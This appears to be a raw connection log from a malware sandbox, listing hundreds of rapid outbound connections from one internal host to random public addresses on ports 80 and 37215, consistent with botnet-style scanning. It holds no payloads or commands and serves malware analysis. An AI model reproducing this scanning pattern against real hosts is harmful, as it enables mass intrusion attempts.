Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	43.27.165.232
Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	17.28.161.122
Jan 30, 2025 10:43:05.168570042 CET	62855	80	192.168.2.14	78.9.127.15
Jan 30, 2025 10:43:05.168570995 CET	62855	80	192.168.2.14	144.83.171.217
Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	110.83.197.114
Jan 30, 2025 10:43:05.168570995 CET	62855	80	192.168.2.14	134.253.116.94
Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	222.68.109.100
Jan 30, 2025 10:43:05.168570995 CET	62855	80	192.168.2.14	218.228.202.221
Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	67.1.67.203
Jan 30, 2025 10:43:05.168570995 CET	62855	80	192.168.2.14	222.38.195.225
Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	195.5.229.208
Jan 30, 2025 10:43:05.168571949 CET	62855	80	192.168.2.14	105.201.58.1
Jan 30, 2025 10:43:05.168570995 CET	62855	80	192.168.2.14	63.148.95.193
Jan 30, 2025 10:43:05.168572903 CET	62855	80	192.168.2.14	2.93.10.53
Jan 30, 2025 10:43:05.168571949 CET	62855	80	192.168.2.14	220.169.75.111
Jan 30, 2025 10:43:05.168570042 CET	62855	80	192.168.2.14	17.46.44.146
Jan 30, 2025 10:43:05.168571949 CET	62855	80	192.168.2.14	63.206.166.147
Jan 30, 2025 10:43:05.168572903 CET	62855	80	192.168.2.14	14.212.70.211
Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	79.219.83.216
Jan 30, 2025 10:43:05.168572903 CET	62855	80	192.168.2.14	78.201.191.206
Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	181.14.147.199
Jan 30, 2025 10:43:05.168572903 CET	62855	80	192.168.2.14	139.168.68.114
Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	125.0.173.131
Jan 30, 2025 10:43:05.168572903 CET	62855	80	192.168.2.14	212.45.109.22
Jan 30, 2025 10:43:05.168572903 CET	62855	80	192.168.2.14	131.160.116.127
Jan 30, 2025 10:43:05.168601990 CET	62855	80	192.168.2.14	67.186.201.122
Jan 30, 2025 10:43:05.168601990 CET	62855	80	192.168.2.14	201.150.13.233
Jan 30, 2025 10:43:05.168601990 CET	62855	80	192.168.2.14	184.174.63.73
Jan 30, 2025 10:43:05.168608904 CET	62855	80	192.168.2.14	167.180.10.49
Jan 30, 2025 10:43:05.168608904 CET	62855	80	192.168.2.14	114.139.110.10
Jan 30, 2025 10:43:05.168610096 CET	62855	80	192.168.2.14	111.208.41.50
Jan 30, 2025 10:43:05.168608904 CET	62855	80	192.168.2.14	181.251.20.22
Jan 30, 2025 10:43:05.168608904 CET	62855	80	192.168.2.14	152.115.62.21
Jan 30, 2025 10:43:05.168610096 CET	62855	80	192.168.2.14	62.1.229.101
Jan 30, 2025 10:43:05.168608904 CET	62855	80	192.168.2.14	92.18.20.178
Jan 30, 2025 10:43:05.168610096 CET	62855	80	192.168.2.14	108.166.35.226
Jan 30, 2025 10:43:05.168608904 CET	62855	80	192.168.2.14	91.17.160.162
Jan 30, 2025 10:43:05.168612957 CET	62855	80	192.168.2.14	177.196.115.173
Jan 30, 2025 10:43:05.168612003 CET	62855	80	192.168.2.14	83.126.109.240
Jan 30, 2025 10:43:05.168612957 CET	62855	80	192.168.2.14	211.112.52.236
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	17.227.170.229
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	158.63.62.194
Jan 30, 2025 10:43:05.168608904 CET	62855	80	192.168.2.14	61.52.138.64
Jan 30, 2025 10:43:05.168612957 CET	62855	80	192.168.2.14	36.149.43.19
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	70.110.189.196
Jan 30, 2025 10:43:05.168612957 CET	62855	80	192.168.2.14	157.121.218.252
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	219.159.25.179
Jan 30, 2025 10:43:05.168612957 CET	62855	80	192.168.2.14	71.89.46.202
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	41.213.243.136
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	102.207.248.210
Jan 30, 2025 10:43:05.168612957 CET	62855	80	192.168.2.14	115.218.96.110
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	173.224.199.134
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	126.187.71.206
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	90.58.73.241
Jan 30, 2025 10:43:05.168612957 CET	62855	80	192.168.2.14	37.187.117.207
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	138.154.156.57
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	153.171.220.95
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	71.42.20.53
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	135.194.100.208
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	199.153.198.195
Jan 30, 2025 10:43:05.168613911 CET	62855	80	192.168.2.14	8.228.77.146
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	183.159.24.169
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	95.234.39.56
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	196.56.44.233
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	150.189.85.105
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	83.180.228.240
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	156.74.151.251
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	46.242.252.19
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	25.181.188.42
Jan 30, 2025 10:43:05.168654919 CET	62855	80	192.168.2.14	91.86.94.205
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	154.168.170.112
Jan 30, 2025 10:43:05.168654919 CET	62855	80	192.168.2.14	184.88.65.114
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	118.251.37.12
Jan 30, 2025 10:43:05.168656111 CET	62855	80	192.168.2.14	81.155.31.221
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	189.28.169.89
Jan 30, 2025 10:43:05.168654919 CET	62855	80	192.168.2.14	42.242.147.208
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	46.227.196.117
Jan 30, 2025 10:43:05.168654919 CET	62855	80	192.168.2.14	131.83.250.68
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	93.87.205.128
Jan 30, 2025 10:43:05.168653011 CET	62855	80	192.168.2.14	12.124.166.112
Jan 30, 2025 10:43:05.168653965 CET	62855	80	192.168.2.14	9.245.161.83
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	23.187.1.89
Jan 30, 2025 10:43:05.168652058 CET	62855	80	192.168.2.14	213.32.246.239
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	185.243.88.124
Jan 30, 2025 10:43:05.168653011 CET	62855	80	192.168.2.14	170.22.252.101
Jan 30, 2025 10:43:05.168654919 CET	62855	80	192.168.2.14	160.188.216.212
Jan 30, 2025 10:43:05.168653011 CET	62855	80	192.168.2.14	164.57.27.14
Jan 30, 2025 10:43:05.168649912 CET	62855	80	192.168.2.14	63.129.4.209
Jan 30, 2025 10:43:05.168652058 CET	62855	80	192.168.2.14	208.245.16.136
Jan 30, 2025 10:43:05.168654919 CET	62855	80	192.168.2.14	123.87.231.106
Jan 30, 2025 10:43:05.168652058 CET	62855	80	192.168.2.14	212.21.214.77
Jan 30, 2025 10:43:05.168678045 CET	62855	80	192.168.2.14	198.73.163.26
Jan 30, 2025 10:43:05.168652058 CET	62855	80	192.168.2.14	163.4.153.148
Jan 30, 2025 10:43:05.168654919 CET	62855	80	192.168.2.14	46.169.129.38
Jan 30, 2025 10:43:05.168678045 CET	62855	80	192.168.2.14	221.25.10.165
Jan 30, 2025 10:43:05.168653011 CET	62855	80	192.168.2.14	179.99.87.61
Jan 30, 2025 10:43:05.168652058 CET	62855	80	192.168.2.14	153.1.204.234
Jan 30, 2025 10:43:05.168654919 CET	62855	80	192.168.2.14	64.82.190.187
Jan 30, 2025 10:43:05.168653011 CET	62855	80	192.168.2.14	168.122.200.194
Jan 30, 2025 10:43:05.168653011 CET	62855	80	192.168.2.14	183.15.229.58
Jan 30, 2025 10:43:05.168653011 CET	62855	80	192.168.2.14	38.42.73.27
Jan 30, 2025 10:43:05.168678045 CET	62855	80	192.168.2.14	222.93.215.243
Jan 30, 2025 10:43:05.168687105 CET	62855	80	192.168.2.14	23.7.198.113
Jan 30, 2025 10:43:05.168678045 CET	62855	80	192.168.2.14	116.124.138.4
Jan 30, 2025 10:43:05.168687105 CET	62855	80	192.168.2.14	119.87.201.43
Jan 30, 2025 10:43:05.168688059 CET	62855	80	192.168.2.14	197.14.42.220
Jan 30, 2025 10:43:05.168689013 CET	62855	80	192.168.2.14	129.253.222.81
Jan 30, 2025 10:43:05.168678045 CET	62855	80	192.168.2.14	54.179.148.163
Jan 30, 2025 10:43:05.168689013 CET	62855	80	192.168.2.14	83.146.94.110
Jan 30, 2025 10:43:05.168687105 CET	62855	80	192.168.2.14	81.37.74.193
Jan 30, 2025 10:43:05.168678045 CET	62855	80	192.168.2.14	210.80.202.27
Jan 30, 2025 10:43:05.168694973 CET	62855	80	192.168.2.14	42.234.194.50
Jan 30, 2025 10:43:05.168687105 CET	62855	80	192.168.2.14	209.147.206.51
Jan 30, 2025 10:43:05.168689013 CET	62855	80	192.168.2.14	98.232.38.101
Jan 30, 2025 10:43:05.168694973 CET	62855	80	192.168.2.14	149.165.192.35
Jan 30, 2025 10:43:05.168688059 CET	62855	80	192.168.2.14	105.213.92.137
Jan 30, 2025 10:43:05.168694973 CET	62855	80	192.168.2.14	125.132.179.186
Jan 30, 2025 10:43:05.168688059 CET	62855	80	192.168.2.14	80.95.136.255
Jan 30, 2025 10:43:05.168699980 CET	62855	80	192.168.2.14	161.238.67.16
Jan 30, 2025 10:43:05.168690920 CET	62855	80	192.168.2.14	45.85.25.12
Jan 30, 2025 10:43:05.168695927 CET	62855	80	192.168.2.14	82.53.59.65
Jan 30, 2025 10:43:05.168689013 CET	62855	80	192.168.2.14	200.149.63.117
Jan 30, 2025 10:43:05.168695927 CET	62855	80	192.168.2.14	102.47.157.217
Jan 30, 2025 10:43:05.168690920 CET	62855	80	192.168.2.14	67.125.14.122
Jan 30, 2025 10:43:05.168689013 CET	62855	80	192.168.2.14	32.128.14.50
Jan 30, 2025 10:43:05.168699980 CET	62855	80	192.168.2.14	93.21.205.138
Jan 30, 2025 10:43:05.168697119 CET	62855	80	192.168.2.14	118.15.86.221
Jan 30, 2025 10:43:05.168709040 CET	62855	80	192.168.2.14	212.105.137.184
Jan 30, 2025 10:43:05.168699980 CET	62855	80	192.168.2.14	65.241.90.143
Jan 30, 2025 10:43:05.168709040 CET	62855	80	192.168.2.14	122.169.17.230
Jan 30, 2025 10:43:05.168709993 CET	62855	80	192.168.2.14	136.207.186.57
Jan 30, 2025 10:43:05.168694973 CET	62855	80	192.168.2.14	108.18.47.190
Jan 30, 2025 10:43:05.168704987 CET	62855	80	192.168.2.14	156.124.88.164
Jan 30, 2025 10:43:05.168694973 CET	62855	80	192.168.2.14	165.76.152.221
Jan 30, 2025 10:43:05.168697119 CET	62855	80	192.168.2.14	165.219.218.115
Jan 30, 2025 10:43:05.168709993 CET	62855	80	192.168.2.14	88.253.92.128
Jan 30, 2025 10:43:05.168697119 CET	62855	80	192.168.2.14	13.41.30.244
Jan 30, 2025 10:43:05.168709993 CET	62855	80	192.168.2.14	179.218.109.230
Jan 30, 2025 10:43:05.168697119 CET	62855	80	192.168.2.14	92.119.139.37
Jan 30, 2025 10:43:05.168709040 CET	62855	80	192.168.2.14	77.18.131.140
Jan 30, 2025 10:43:05.168690920 CET	62855	80	192.168.2.14	153.86.9.146
Jan 30, 2025 10:43:05.168709040 CET	62855	80	192.168.2.14	147.205.235.112
Jan 30, 2025 10:43:05.168709040 CET	62855	80	192.168.2.14	13.231.191.142
Jan 30, 2025 10:43:05.168715954 CET	62855	80	192.168.2.14	25.43.29.242
Jan 30, 2025 10:43:05.168715954 CET	62855	80	192.168.2.14	67.211.152.240
Jan 30, 2025 10:43:05.168723106 CET	62855	80	192.168.2.14	174.64.5.238
Jan 30, 2025 10:43:05.168723106 CET	62855	80	192.168.2.14	108.143.178.200
Jan 30, 2025 10:43:05.168723106 CET	62855	80	192.168.2.14	216.155.203.251
Jan 30, 2025 10:43:05.168723106 CET	62855	80	192.168.2.14	117.239.131.78
Jan 30, 2025 10:43:05.168726921 CET	62855	80	192.168.2.14	111.18.154.149
Jan 30, 2025 10:43:05.168726921 CET	62855	80	192.168.2.14	79.95.241.5
Jan 30, 2025 10:43:05.168730021 CET	62855	80	192.168.2.14	85.236.255.85
Jan 30, 2025 10:43:05.168734074 CET	62855	80	192.168.2.14	216.69.120.168
Jan 30, 2025 10:43:05.168734074 CET	62855	80	192.168.2.14	5.29.122.242
Jan 30, 2025 10:43:05.168734074 CET	62855	80	192.168.2.14	221.252.30.246
Jan 30, 2025 10:43:05.168734074 CET	62855	80	192.168.2.14	107.169.255.30
Jan 30, 2025 10:43:05.168754101 CET	62855	80	192.168.2.14	165.9.199.228
Jan 30, 2025 10:43:05.168761015 CET	62855	80	192.168.2.14	197.236.99.209
Jan 30, 2025 10:43:05.168771982 CET	62855	80	192.168.2.14	168.15.130.214
Jan 30, 2025 10:43:05.168775082 CET	62855	80	192.168.2.14	84.195.172.205
Jan 30, 2025 10:43:05.168775082 CET	62855	80	192.168.2.14	154.191.71.183
Jan 30, 2025 10:43:05.168783903 CET	42168	37215	192.168.2.14	41.114.15.245
Jan 30, 2025 10:43:05.168783903 CET	62855	80	192.168.2.14	31.150.230.74
Jan 30, 2025 10:43:05.168786049 CET	62855	80	192.168.2.14	23.183.34.65
Jan 30, 2025 10:43:05.168786049 CET	62855	80	192.168.2.14	140.201.7.168
Jan 30, 2025 10:43:05.168791056 CET	62855	80	192.168.2.14	141.209.165.84
Jan 30, 2025 10:43:05.168792009 CET	62855	80	192.168.2.14	85.250.150.69
Jan 30, 2025 10:43:05.168802023 CET	62855	80	192.168.2.14	98.83.183.157
Jan 30, 2025 10:43:05.168802977 CET	62855	80	192.168.2.14	60.94.9.205
Jan 30, 2025 10:43:05.168843031 CET	62855	80	192.168.2.14	160.229.160.49
Jan 30, 2025 10:43:05.168844938 CET	62855	80	192.168.2.14	133.214.13.211
Jan 30, 2025 10:43:05.168857098 CET	62855	80	192.168.2.14	223.72.92.59
Jan 30, 2025 10:43:05.168860912 CET	62855	80	192.168.2.14	81.23.115.111
Jan 30, 2025 10:43:05.168860912 CET	62855	80	192.168.2.14	91.138.196.200
Jan 30, 2025 10:43:05.168876886 CET	62855	80	192.168.2.14	147.201.246.121
Jan 30, 2025 10:43:05.168878078 CET	62855	80	192.168.2.14	66.186.68.124
Jan 30, 2025 10:43:05.168876886 CET	62855	80	192.168.2.14	173.125.176.184
Jan 30, 2025 10:43:05.168886900 CET	62855	80	192.168.2.14	98.29.64.130
Jan 30, 2025 10:43:05.168914080 CET	62855	80	192.168.2.14	35.213.217.202
Jan 30, 2025 10:43:05.168920040 CET	62855	80	192.168.2.14	80.217.134.64
Jan 30, 2025 10:43:05.168926001 CET	62855	80	192.168.2.14	191.248.66.166
Jan 30, 2025 10:43:05.168929100 CET	62855	80	192.168.2.14	168.184.189.0
Jan 30, 2025 10:43:05.168929100 CET	62855	80	192.168.2.14	88.107.124.7
Jan 30, 2025 10:43:05.168929100 CET	62855	80	192.168.2.14	193.95.164.70
Jan 30, 2025 10:43:05.168932915 CET	62855	80	192.168.2.14	83.11.102.189
Jan 30, 2025 10:43:05.168932915 CET	62855	80	192.168.2.14	134.195.152.7
Jan 30, 2025 10:43:05.168935061 CET	62855	80	192.168.2.14	222.80.221.215
Jan 30, 2025 10:43:05.168948889 CET	62855	80	192.168.2.14	4.165.117.89
Jan 30, 2025 10:43:05.168957949 CET	62855	80	192.168.2.14	186.88.100.205
Jan 30, 2025 10:43:05.168957949 CET	62855	80	192.168.2.14	82.37.213.101
Jan 30, 2025 10:43:05.168957949 CET	62855	80	192.168.2.14	9.95.220.116
Jan 30, 2025 10:43:05.168962002 CET	62855	80	192.168.2.14	211.23.154.206
Jan 30, 2025 10:43:05.168970108 CET	62855	80	192.168.2.14	191.176.152.80
Jan 30, 2025 10:43:05.168982029 CET	62855	80	192.168.2.14	220.79.203.148
Jan 30, 2025 10:43:05.168983936 CET	62855	80	192.168.2.14	111.155.48.140
Jan 30, 2025 10:43:05.168989897 CET	62855	80	192.168.2.14	34.47.119.21
Jan 30, 2025 10:43:05.168992043 CET	62855	80	192.168.2.14	167.186.139.4
Jan 30, 2025 10:43:05.169014931 CET	62855	80	192.168.2.14	138.47.3.3
Jan 30, 2025 10:43:05.169023037 CET	62855	80	192.168.2.14	206.121.169.19
Jan 30, 2025 10:43:05.169039011 CET	62855	80	192.168.2.14	144.6.101.145
Jan 30, 2025 10:43:05.169039011 CET	62855	80	192.168.2.14	25.217.100.251
Jan 30, 2025 10:43:05.169039011 CET	62855	80	192.168.2.14	62.255.236.167
Jan 30, 2025 10:43:05.169050932 CET	62855	80	192.168.2.14	138.153.255.169
Jan 30, 2025 10:43:05.169051886 CET	62855	80	192.168.2.14	100.190.145.249
Jan 30, 2025 10:43:05.169056892 CET	62855	80	192.168.2.14	53.99.145.43
Jan 30, 2025 10:43:05.169071913 CET	62855	80	192.168.2.14	63.24.182.47
Jan 30, 2025 10:43:05.169071913 CET	62855	80	192.168.2.14	1.183.245.48
Jan 30, 2025 10:43:05.169099092 CET	62855	80	192.168.2.14	85.132.248.219
Jan 30, 2025 10:43:05.169115067 CET	62855	80	192.168.2.14	213.23.218.0
Jan 30, 2025 10:43:05.169116974 CET	62855	80	192.168.2.14	144.40.116.226
Jan 30, 2025 10:43:05.169123888 CET	62855	80	192.168.2.14	216.240.182.248
Jan 30, 2025 10:43:05.169135094 CET	62855	80	192.168.2.14	50.42.60.190
Jan 30, 2025 10:43:05.169137001 CET	62855	80	192.168.2.14	89.45.218.97
Jan 30, 2025 10:43:05.169145107 CET	62855	80	192.168.2.14	134.167.228.214
Jan 30, 2025 10:43:05.169147015 CET	62855	80	192.168.2.14	176.125.88.216
Jan 30, 2025 10:43:05.169150114 CET	62855	80	192.168.2.14	183.100.24.209
Jan 30, 2025 10:43:05.169157028 CET	62855	80	192.168.2.14	166.217.197.0
Jan 30, 2025 10:43:05.169178963 CET	62855	80	192.168.2.14	152.78.86.88
Jan 30, 2025 10:43:05.169179916 CET	62855	80	192.168.2.14	199.239.79.0
Jan 30, 2025 10:43:05.169190884 CET	62855	80	192.168.2.14	176.120.200.49
Jan 30, 2025 10:43:05.169190884 CET	62855	80	192.168.2.14	167.219.139.40
Jan 30, 2025 10:43:05.169197083 CET	62855	80	192.168.2.14	192.11.179.32
Jan 30, 2025 10:43:05.169199944 CET	62855	80	192.168.2.14	165.57.41.186
Jan 30, 2025 10:43:05.169207096 CET	62855	80	192.168.2.14	40.104.124.113
Jan 30, 2025 10:43:05.169215918 CET	62855	80	192.168.2.14	69.46.178.102
Jan 30, 2025 10:43:05.169231892 CET	62855	80	192.168.2.14	79.173.255.164
Jan 30, 2025 10:43:05.169245005 CET	62855	80	192.168.2.14	113.141.224.141
Jan 30, 2025 10:43:05.169262886 CET	62855	80	192.168.2.14	143.241.139.136
Jan 30, 2025 10:43:05.169264078 CET	62855	80	192.168.2.14	40.183.94.74
Jan 30, 2025 10:43:05.169265032 CET	62855	80	192.168.2.14	154.233.59.103
Jan 30, 2025 10:43:05.169265032 CET	62855	80	192.168.2.14	199.14.192.21
Jan 30, 2025 10:43:05.169279099 CET	62855	80	192.168.2.14	51.143.120.159
Jan 30, 2025 10:43:05.169280052 CET	62855	80	192.168.2.14	132.143.13.46
Jan 30, 2025 10:43:05.169281960 CET	62855	80	192.168.2.14	19.153.138.150
Jan 30, 2025 10:43:05.169284105 CET	62855	80	192.168.2.14	124.175.17.232
Jan 30, 2025 10:43:05.169286013 CET	62855	80	192.168.2.14	134.192.217.235
Jan 30, 2025 10:43:05.169301987 CET	62855	80	192.168.2.14	89.136.18.22
Jan 30, 2025 10:43:05.169313908 CET	55398	37215	192.168.2.14	197.112.143.30
Jan 30, 2025 10:43:05.169334888 CET	62855	80	192.168.2.14	209.165.109.221
Jan 30, 2025 10:43:05.169342995 CET	62855	80	192.168.2.14	87.71.88.149
Jan 30, 2025 10:43:05.169348955 CET	62855	80	192.168.2.14	139.237.40.212
Jan 30, 2025 10:43:05.169353962 CET	62855	80	192.168.2.14	42.143.157.96
Jan 30, 2025 10:43:05.169370890 CET	62855	80	192.168.2.14	174.57.69.143
Jan 30, 2025 10:43:05.169838905 CET	58598	37215	192.168.2.14	197.246.177.244
Jan 30, 2025 10:43:05.170361996 CET	59278	37215	192.168.2.14	197.255.24.121
Jan 30, 2025 10:43:05.170909882 CET	60522	37215	192.168.2.14	156.168.206.187
Jan 30, 2025 10:43:05.171464920 CET	41084	37215	192.168.2.14	156.12.1.123
Jan 30, 2025 10:43:05.171989918 CET	44984	37215	192.168.2.14	41.34.203.247
Jan 30, 2025 10:43:05.172543049 CET	55174	37215	192.168.2.14	197.166.29.215
Jan 30, 2025 10:43:05.173106909 CET	54352	37215	192.168.2.14	197.85.230.163
Jan 30, 2025 10:43:05.173202991 CET	37215	47660	41.47.143.151	192.168.2.14
Jan 30, 2025 10:43:05.173248053 CET	47660	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:05.173424959 CET	37215	44424	41.40.143.60	192.168.2.14
Jan 30, 2025 10:43:05.173470020 CET	44424	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:05.173490047 CET	80	35768	202.122.36.255	192.168.2.14
Jan 30, 2025 10:43:05.173541069 CET	35768	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:05.173659086 CET	50340	37215	192.168.2.14	197.222.57.125
Jan 30, 2025 10:43:05.174215078 CET	60046	37215	192.168.2.14	156.49.160.210
Jan 30, 2025 10:43:05.174767971 CET	46568	37215	192.168.2.14	156.101.143.7
Jan 30, 2025 10:43:05.175327063 CET	56894	37215	192.168.2.14	156.205.76.137
Jan 30, 2025 10:43:05.175868988 CET	60346	37215	192.168.2.14	41.145.140.95
Jan 30, 2025 10:43:05.176331043 CET	37215	41084	156.12.1.123	192.168.2.14
Jan 30, 2025 10:43:05.176378965 CET	41084	37215	192.168.2.14	156.12.1.123
Jan 30, 2025 10:43:05.176429033 CET	57118	37215	192.168.2.14	156.176.204.203
Jan 30, 2025 10:43:05.176971912 CET	51650	37215	192.168.2.14	41.9.104.66
Jan 30, 2025 10:43:05.177530050 CET	35386	37215	192.168.2.14	41.170.243.221
Jan 30, 2025 10:43:05.178059101 CET	46698	37215	192.168.2.14	197.146.199.69
Jan 30, 2025 10:43:05.178591013 CET	41680	37215	192.168.2.14	156.188.76.253
Jan 30, 2025 10:43:05.179194927 CET	55852	37215	192.168.2.14	41.92.78.36
Jan 30, 2025 10:43:05.179802895 CET	43292	37215	192.168.2.14	156.223.162.115
Jan 30, 2025 10:43:05.180214882 CET	53646	37215	192.168.2.14	197.218.48.207
Jan 30, 2025 10:43:05.180785894 CET	47392	37215	192.168.2.14	156.62.186.243
Jan 30, 2025 10:43:05.181313038 CET	34752	37215	192.168.2.14	41.222.7.4
Jan 30, 2025 10:43:05.181848049 CET	46882	37215	192.168.2.14	197.110.51.134
Jan 30, 2025 10:43:05.182388067 CET	33538	37215	192.168.2.14	197.131.146.76
Jan 30, 2025 10:43:05.182924032 CET	60092	37215	192.168.2.14	41.4.251.105
Jan 30, 2025 10:43:05.183509111 CET	54354	37215	192.168.2.14	156.109.224.118
Jan 30, 2025 10:43:05.183713913 CET	37215	33328	197.71.120.86	192.168.2.14
Jan 30, 2025 10:43:05.184180975 CET	37838	37215	192.168.2.14	156.114.126.218
Jan 30, 2025 10:43:05.184577942 CET	37215	43292	156.223.162.115	192.168.2.14
Jan 30, 2025 10:43:05.184598923 CET	48972	37215	192.168.2.14	197.198.112.4
Jan 30, 2025 10:43:05.184628963 CET	43292	37215	192.168.2.14	156.223.162.115
Jan 30, 2025 10:43:05.185218096 CET	48526	37215	192.168.2.14	156.231.189.227
Jan 30, 2025 10:43:05.185771942 CET	46784	37215	192.168.2.14	41.13.157.95
Jan 30, 2025 10:43:05.186330080 CET	41678	37215	192.168.2.14	41.54.187.227
Jan 30, 2025 10:43:05.186876059 CET	45430	37215	192.168.2.14	197.251.136.165
Jan 30, 2025 10:43:05.187469006 CET	34032	37215	192.168.2.14	156.198.242.132
Jan 30, 2025 10:43:05.188020945 CET	45312	37215	192.168.2.14	197.29.87.86
Jan 30, 2025 10:43:05.188565969 CET	51316	37215	192.168.2.14	41.176.2.6
Jan 30, 2025 10:43:05.189116001 CET	37566	37215	192.168.2.14	156.242.29.176
Jan 30, 2025 10:43:05.189673901 CET	37950	37215	192.168.2.14	197.187.252.60
Jan 30, 2025 10:43:05.190243959 CET	43994	37215	192.168.2.14	41.116.235.188
Jan 30, 2025 10:43:05.190793991 CET	57950	37215	192.168.2.14	197.99.4.5
Jan 30, 2025 10:43:05.191366911 CET	55226	37215	192.168.2.14	41.88.128.241
Jan 30, 2025 10:43:05.191939116 CET	56174	37215	192.168.2.14	197.52.214.98
Jan 30, 2025 10:43:05.192455053 CET	47564	37215	192.168.2.14	156.95.110.178
Jan 30, 2025 10:43:05.193002939 CET	51466	37215	192.168.2.14	197.30.16.70
Jan 30, 2025 10:43:05.193563938 CET	49486	37215	192.168.2.14	156.71.177.132
Jan 30, 2025 10:43:05.194107056 CET	57124	37215	192.168.2.14	197.132.120.210
Jan 30, 2025 10:43:05.194694042 CET	60966	37215	192.168.2.14	197.171.42.12
Jan 30, 2025 10:43:05.195245028 CET	46706	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:05.195795059 CET	34772	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:05.196146965 CET	37215	55226	41.88.128.241	192.168.2.14
Jan 30, 2025 10:43:05.196183920 CET	55226	37215	192.168.2.14	41.88.128.241
Jan 30, 2025 10:43:05.196346045 CET	52606	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:05.196933985 CET	58548	37215	192.168.2.14	41.0.140.63
Jan 30, 2025 10:43:05.197478056 CET	54326	37215	192.168.2.14	41.255.177.91
Jan 30, 2025 10:43:05.198024035 CET	45750	37215	192.168.2.14	197.62.59.49
Jan 30, 2025 10:43:05.198563099 CET	38812	37215	192.168.2.14	156.239.200.141
Jan 30, 2025 10:43:05.199146032 CET	33860	37215	192.168.2.14	197.25.18.252
Jan 30, 2025 10:43:05.199661016 CET	60000	37215	192.168.2.14	41.63.44.18
Jan 30, 2025 10:43:05.200238943 CET	39254	37215	192.168.2.14	197.228.116.148
Jan 30, 2025 10:43:05.200773954 CET	48616	37215	192.168.2.14	41.228.190.247
Jan 30, 2025 10:43:05.201337099 CET	35458	37215	192.168.2.14	156.84.109.79
Jan 30, 2025 10:43:05.201967001 CET	43108	37215	192.168.2.14	197.2.254.23
Jan 30, 2025 10:43:05.202435017 CET	34806	37215	192.168.2.14	197.63.122.128
Jan 30, 2025 10:43:05.202956915 CET	48272	37215	192.168.2.14	156.42.154.143
Jan 30, 2025 10:43:05.203438997 CET	41084	37215	192.168.2.14	156.12.1.123
Jan 30, 2025 10:43:05.203438997 CET	41084	37215	192.168.2.14	156.12.1.123
Jan 30, 2025 10:43:05.203721046 CET	41200	37215	192.168.2.14	156.12.1.123
Jan 30, 2025 10:43:05.204030991 CET	43292	37215	192.168.2.14	156.223.162.115
Jan 30, 2025 10:43:05.204030991 CET	43292	37215	192.168.2.14	156.223.162.115
Jan 30, 2025 10:43:05.204279900 CET	43380	37215	192.168.2.14	156.223.162.115
Jan 30, 2025 10:43:05.204519987 CET	37215	60000	41.63.44.18	192.168.2.14
Jan 30, 2025 10:43:05.204582930 CET	60000	37215	192.168.2.14	41.63.44.18
Jan 30, 2025 10:43:05.204603910 CET	55226	37215	192.168.2.14	41.88.128.241
Jan 30, 2025 10:43:05.204603910 CET	55226	37215	192.168.2.14	41.88.128.241
Jan 30, 2025 10:43:05.204857111 CET	55274	37215	192.168.2.14	41.88.128.241
Jan 30, 2025 10:43:05.205221891 CET	60000	37215	192.168.2.14	41.63.44.18
Jan 30, 2025 10:43:05.205221891 CET	60000	37215	192.168.2.14	41.63.44.18
Jan 30, 2025 10:43:05.205470085 CET	60020	37215	192.168.2.14	41.63.44.18
Jan 30, 2025 10:43:05.208328009 CET	37215	41084	156.12.1.123	192.168.2.14
Jan 30, 2025 10:43:05.208822012 CET	37215	43292	156.223.162.115	192.168.2.14
Jan 30, 2025 10:43:05.209331989 CET	37215	55226	41.88.128.241	192.168.2.14
Jan 30, 2025 10:43:05.210010052 CET	37215	60000	41.63.44.18	192.168.2.14
Jan 30, 2025 10:43:05.227147102 CET	42606	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:05.227147102 CET	38592	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:05.232745886 CET	80	42606	202.158.129.118	192.168.2.14
